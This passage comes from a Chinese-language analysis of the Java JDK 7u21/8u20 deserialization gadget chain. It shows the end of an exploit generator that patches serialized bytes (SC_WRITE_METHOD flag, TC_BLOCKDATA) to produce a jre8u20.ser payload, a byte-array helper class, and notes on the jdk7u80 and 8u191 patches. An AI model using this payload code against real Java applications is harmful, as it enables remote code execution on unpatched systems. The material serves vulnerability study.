bytes=Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes=Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes=Util.addAtIndex(bytes, i++, (byte) 0x78);
break;
}
}
//将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD
//这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改
//原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1))
// -> count = ois.readInt(); 报错,无法完成整个反序列化流程
// 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了
// 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect...
for(inti=0; i<bytes.length; i++){
if(bytes[i] ==115&&bytes[i+1] ==117&&bytes[i+2] ==110&&bytes[i+3] ==46&&
bytes[i+4] ==114&&bytes[i+5] ==101&&bytes[i+6] ==102&&bytes[i+7] ==108){
System.out.println("[+] Modify sun.reflect.annotation.AnnotationInvocationHandler -> classDescFlags from SC_SERIALIZABLE to "+
"SC_SERIALIZABLE | SC_WRITE_METHOD");
i=i+58;
bytes[i] =3;
break;
}
}
//加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束
System.out.println("[+] Add TC_BLOCKDATA at end");
bytes=Util.addAtLast(bytes, (byte) 0x78);
FileOutputStreamfous=newFileOutputStream("jre8u20.ser");
fous.write(bytes);
//反序列化
FileInputStreamfis=newFileInputStream("jre8u20.ser");
ObjectInputStreamois=newObjectInputStream(fis);
ois.readObject();
ois.close();
}
}
库Util:
packageorg.example;
importjava.nio.ByteBuffer;
publicclassUtil{
/**
* 从 byte 数组中删除指定索引位置的元素。
*
* @param array 要操作的 byte 数组
* @param index 要删除的元素索引
* @return 删除元素后的 byte 数组
*/
publicstaticbyte[] deleteAt(byte[] array, intindex) {
if(index<0||index>=array.length) {
thrownewIndexOutOfBoundsException("Index out of bounds: "+index);
}
byte[] result=newbyte[array.length-1];
System.arraycopy(array, 0, result, 0, index);
System.arraycopy(array, index+1, result, index, array.length-index-1);
returnresult;
}
/**
* 在 byte 数组末尾添加一个元素。
*
* @param array 要操作的 byte 数组
* @param value 要添加的元素值
* @return 添加元素后的 byte 数组
*/
publicstaticbyte[] addAtLast(byte[] array, bytevalue) {
byte[] result=newbyte[array.length+1];
System.arraycopy(array, 0, result, 0, array.length);
result[array.length] =value;
returnresult;
}
publicstaticbyte[] addAtIndex(byte[] bytes, intindex, bytevalue) {
if(index<0||index>bytes.length) {
thrownewIndexOutOfBoundsException("Index out of bounds");
}
// 创建一个新数组,比原数组大1个元素
byte[] newBytes=newbyte[bytes.length+1];
// 复制前半部分数据
System.arraycopy(bytes, 0, newBytes, 0, index);
// 插入新元素
newBytes[index] =value;
// 复制后半部分数据
System.arraycopy(bytes, index, newBytes, index+1, bytes.length-index);
returnnewBytes;
}
}
8u20修复
jdk7
jdk7u80 getMemberMethods()增加了对memberMethods用validateAnnotationMethod函数进行验证
// jdk7_80 sun.reflect.annotation.AnnotationInvocationHandler#getMemberMethods
privatetransientvolatileMethod[] memberMethods=null;
privateMethod[] getMemberMethods() {
if(this.memberMethods==null) {
this.memberMethods=(Method[])AccessController.doPrivileged(newPrivilegedAction<Method[]>() {
publicMethod[] run() {
Method[] var1=AnnotationInvocationHandler.this.type.getDeclaredMethods();
// 这里的 var1 是 newTransformer 和 getOutputProperties
AnnotationInvocationHandler.this.validateAnnotationMethods(var1); // 增加了这个函数
AccessibleObject.setAccessible(var1, true);
returnvar1;
}
});
}
returnthis.memberMethods;
}
jdk8u191 把defaultReadObject修改为了readFields();,因为抛出异常提前退出readObject不再能顺利序列化字段中的对象了。
如果看不懂,参考文章1很细致
7u21参考文章:
宸极实验室—『代码审计』ysoserial Jdk7u21 反序列化漏洞分析
https://zhuanlan.zhihu.com/p/639541505
修复方案
https://cloud.tencent.com/developer/article/2204427
8u20 参考文章: